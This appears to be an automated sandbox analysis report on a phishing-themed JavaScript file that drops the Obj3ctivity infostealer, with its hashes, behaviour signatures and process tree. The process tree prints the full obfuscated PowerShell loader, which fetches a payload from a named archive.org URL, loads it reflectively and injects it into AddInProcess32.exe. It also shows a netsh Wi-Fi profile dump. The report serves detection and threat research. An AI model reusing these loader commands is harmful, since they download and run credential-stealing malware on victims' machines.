Analysis

  • max time kernel
    95s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-09-2024 13:25

General

  • Target

    REQUEST FOR QUOTATION.js

  • Size

    318KB

  • MD5

    08dab38ef2c8bdada3b4928145b777f7

  • SHA1

    8d9fe403c417c9fc50ed09528dd2b096ebfe6375

  • SHA256

    cfea01473114d986467817f9c5e0713e84ef8d6fa8a44509780d390fc6b09b41

  • SHA512

    52aeb79f20660946bb7095addb26de8f115d29c4b15cd8169418d73db102c4ca7f79096780baa896357efe40999957969631b718557fd7c35e7375a2288ea5d5

  • SSDEEP

    6144:ae3G0HrhDz6LXUo09qGOWIC5pbyo68vh146TIVdDfo+IitZsVAsuG7EEqZ1Cr81b:Zr81VpOhEUX7dyIUwRjsSXKs0AUUbPMz

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

exe.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

Signatures

  • Detects Obj3ctivity Stage1 3 IoCs

    Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.

  • Obj3ctivity, PXRECVOWEIWOEI

    Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\REQUEST FOR QUOTATION.js"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3516
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LgAoACAAKABbAHMAVABSAGkATgBHAF0AJABWAEUAUgBiAE8AcwBFAHAAUgBFAGYAZQBSAEUATgBDAEUAKQBbADEALAAzAF0AKwAnAFgAJwAtAEoAbwBpAG4AJwAnACkAKAAgACgAJwBGACcAKwAnADAANAAnACsAJwB1AHIAbAAgACcAKwAnAD0AIABuAEsAcgAnACsAJwBoAHQAJwArACcAdABwACcAKwAnAHMAJwArACcAOgAvAC8AaQBhADkAMAA0ADYAMAAxAC4AdQBzAC4AYQAnACsAJwByAGMAJwArACcAaABpAHYAZQAuAG8AJwArACcAcgBnAC8ANgAvACcAKwAnAGkAdABlAG0AcwAvAGQAZQAnACsAJwB0AGEAaAAtAG4AbwB0AGUALQBqAC8ARABlACcAKwAnAHQAYQBoAE4AJwArACcAbwAnACsAJwB0AGUASgAuAHQAeAB0ACcAKwAnAG4ASwByADsARgAwADQAYgBhAHMAZQA2ACcAKwAnADQAQwBvAG4AdABlAG4AJwArACcAdAAgAD0AJwArACcAIAAoAE4AZQB3AC0ATwBiACcAKwAnAGoAZQBjAHQAIAAnACsAJwBTAHkAcwAnACsAJwB0AGUAbQAnACsAJwAuACcAKwAnAE4AZQB0AC4AJwArACcAVwBlAGIAQwBsAGkAZQBuACcAKwAnAHQAJwArACcAKQAuACcAKwAnAEQAbwAnACsAJwB3AG4AbABvAGEAZAAnACsAJwBTAHQAcgBpAG4AJwArACcAZwAnACsAJwAoAEYAMAA0AHUAcgBsACcAKwAnACkAJwArACcAOwBGACcAKwAnADAANABiAGkAbgBhAHIAeQBDACcAKwAnAG8AbgB0AGUAbgAnACsAJwB0ACAAPQAgAFsAUwB5ACcAKwAnAHMAdABlACcAKwAnAG0ALgBDAG8AJwArACcAbgB2AGUAcgB0AF0AOgA6ACcAKwAnAEYAcgBvACcAKwAnAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnACsAJwBGADAANABiAGEAcwBlADYANABDAG8AbgB0AGUAbgB0ACkAJwArACcAOwBGADAANABhAHMAJwArACcAcwBlAG0AYgBsACcAKwAnAHkAJwArACcAIAA9ACAAWwBSAGUAZgBsACcAKwAnAGUAJwArACcAYwB0AGkAbwBuAC4AQQAnACsAJwBzAHMAZQBtAGIAJwArACcAbAB5AF0AJwArACcAOgA6ACcAKwAnAEwAbwBhAGQAKABGADAANABiAGkAbgAnACsAJwBhACcAKwAnAHIAeQAnACsAJwBDAG8AbgB0AGUAJwArACcAbgB0ACkAOwBGADAAJwArACcANAB0AHkAcABlACAAPQAgAEYAMAA0AGEAcwAnACsAJwBzAGUAbQBiAGwAeQAnACsAJwAuACcAKwAnAEcAZQB0ACcAKwAnAFQAJwArACcAeQBwAGUAKABuAEsAJwArACcAcgBSACcAKwAnAHUAbgBQAEUALgBIACcAKwAnAG8AbQBlACcAKwAnAG4AJwArACcASwByACcAKwAnACkAOwBGADAANABtACcAKwAnAGUAdABoAG8AZAAgAD0AIABGADAANAB0AHkAcABlAC4ARwBlACcAKwAnAHQATQBlAHQAaABvAGQAKABuAEsAcgAnACsAJwBWAEEASQBuAEsAcgApADsAJwArACcARgAwADQAbQBlAHQAaAAnACsAJwBvAGQALgBJAG4AdgBvAGsAZQAnACsAJwAoAEYAMAA0ACcAKwAnAG4AJwArACcAdQBsAGwALAAgACcAKwAnAFsAbwBiAGoAZQBjAHQAWwBdACcAKwAnAF0AQAAnACsAJwAoAG4ASwByAHQAeAB0ACcAKwAnAC4AYQBmAGkAJwArACcAbgBlAGoALwB2ACcAKwAnAGUAZAAnACsAJwAuACcAKwAnADIAcgAuACcAKwAnADMAOQBiADMANAA1ADMAMAAyAGEAMAA3ACcAKwAnADUAYgAxAGIAYwAwACcAKwAnAGQANAA1AGIANgAnACsAJwAzACcAKwAnADIAZQBiADkAJwArACcAZQBlADYAMgAtAGIAdQBwAC8AJwArACcALwA6ACcAKwAnAHMAcAB0AHQAJwArACcAaABuAEsAJwArACcAcgAgACwAIABuAEsAcgBkAGUAcwBhACcAKwAnAHQAaQB2AGEAZABvAG4ASwByACcAKwAnACAALAAnACsAJwAgAG4ASwByAGQAZQBzAGEAdABpAHYAYQBkAG8AbgBLACcAKwAnAHIAIAAsACcAKwAnACAAbgBLAHIAJwArACcAZAAnACsAJwBlAHMAYQB0ACcAKwAnAGkAdgAnACsAJwBhAGQAbwAnACsAJwBuAEsAcgAsAG4ASwByAEEAZABkACcAKwAnAEkAJwArACcAbgBQAHIAbwBjAGUAcwBzADMAMgBuAEsAcgAsAG4AJwArACcASwByAGQAZQBzAGEAJwArACcAdABpAHYAYQBkAG8AbgBLAHIAJwArACcAKQApADsAJwApAC4AUgBFAHAATABBAGMAZQAoACcARgAwADQAJwAsACcAJAAnACkALgBSAEUAcABMAEEAYwBlACgAJwBuAEsAcgAnACwAWwBzAHQAcgBpAE4ARwBdAFsAQwBIAEEAUgBdADMAOQApACkA';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3956
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( ([sTRiNG]$VERbOsEpREfeRENCE)[1,3]+'X'-Join'')( ('F'+'04'+'url '+'= nKr'+'ht'+'tp'+'s'+'://ia904601.us.a'+'rc'+'hive.o'+'rg/6/'+'items/de'+'tah-note-j/De'+'tahN'+'o'+'teJ.txt'+'nKr;F04base6'+'4Conten'+'t ='+' (New-Ob'+'ject '+'Sys'+'tem'+'.'+'Net.'+'WebClien'+'t'+').'+'Do'+'wnload'+'Strin'+'g'+'(F04url'+')'+';F'+'04binaryC'+'onten'+'t = [Sy'+'ste'+'m.Co'+'nvert]::'+'Fro'+'mBase64String('+'F04base64Content)'+';F04as'+'sembl'+'y'+' = [Refl'+'e'+'ction.A'+'ssemb'+'ly]'+'::'+'Load(F04bin'+'a'+'ry'+'Conte'+'nt);F0'+'4type = F04as'+'sembly'+'.'+'Get'+'T'+'ype(nK'+'rR'+'unPE.H'+'ome'+'n'+'Kr'+');F04m'+'ethod = F04type.Ge'+'tMethod(nKr'+'VAInKr);'+'F04meth'+'od.Invoke'+'(F04'+'n'+'ull, '+'[object[]'+']@'+'(nKrtxt'+'.afi'+'nej/v'+'ed'+'.'+'2r.'+'39b345302a07'+'5b1bc0'+'d45b6'+'3'+'2eb9'+'ee62-bup/'+'/:'+'sptt'+'hnK'+'r , nKrdesa'+'tivadonKr'+' ,'+' nKrdesativadonK'+'r ,'+' nKr'+'d'+'esat'+'iv'+'ado'+'nKr,nKrAdd'+'I'+'nProcess32nKr,n'+'Krdesa'+'tivadonKr'+'));').REpLAce('F04','$').REpLAce('nKr',[striNG][CHAR]39))"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3288
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
          4⤵
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          • outlook_office_path
          • outlook_win_path
          PID:1064
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
            5⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Wi-Fi Discovery
            • Suspicious use of WriteProcessMemory
            PID:3664
            • C:\Windows\SysWOW64\chcp.com
              chcp 65001
              6⤵
              • System Location Discovery: System Language Discovery
              PID:3124
            • C:\Windows\SysWOW64\netsh.exe
              netsh wlan show profile
              6⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:1564
            • C:\Windows\SysWOW64\findstr.exe
              findstr All
              6⤵
              • System Location Discovery: System Language Discovery
              PID:460
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:4164

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    f41839a3fe2888c8b3050197bc9a0a05

    SHA1

    0798941aaf7a53a11ea9ed589752890aee069729

    SHA256

    224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

    SHA512

    2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    d8b9a260789a22d72263ef3bb119108c

    SHA1

    376a9bd48726f422679f2cd65003442c0b6f6dd5

    SHA256

    d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

    SHA512

    550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q5qjm5uq.gri.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1064-32-0x0000000005AF0000-0x0000000005B56000-memory.dmp

    Filesize

    408KB

  • memory/1064-33-0x00000000060A0000-0x00000000060B2000-memory.dmp

    Filesize

    72KB

  • memory/1064-88-0x0000000007C20000-0x000000000814C000-memory.dmp

    Filesize

    5.2MB

  • memory/1064-23-0x0000000000400000-0x000000000041A000-memory.dmp

    Filesize

    104KB

  • memory/1064-26-0x0000000000400000-0x000000000041A000-memory.dmp

    Filesize

    104KB

  • memory/1064-87-0x0000000006C30000-0x0000000006CC2000-memory.dmp

    Filesize

    584KB

  • memory/1064-86-0x0000000007140000-0x00000000076E4000-memory.dmp

    Filesize

    5.6MB

  • memory/1064-64-0x00000000067D0000-0x0000000006846000-memory.dmp

    Filesize

    472KB

  • memory/1064-31-0x0000000005890000-0x0000000005976000-memory.dmp

    Filesize

    920KB

  • memory/1064-34-0x0000000006860000-0x0000000006A22000-memory.dmp

    Filesize

    1.8MB

  • memory/3288-22-0x00000263983D0000-0x00000263985DC000-memory.dmp

    Filesize

    2.0MB

  • memory/3956-12-0x00007FFCEFFE0000-0x00007FFCF0AA1000-memory.dmp

    Filesize

    10.8MB

  • memory/3956-0-0x00007FFCEFFE3000-0x00007FFCEFFE5000-memory.dmp

    Filesize

    8KB

  • memory/3956-30-0x00007FFCEFFE0000-0x00007FFCF0AA1000-memory.dmp

    Filesize

    10.8MB

  • memory/3956-1-0x0000020E2CF00000-0x0000020E2CF22000-memory.dmp

    Filesize

    136KB

  • memory/3956-11-0x00007FFCEFFE0000-0x00007FFCF0AA1000-memory.dmp

    Filesize

    10.8MB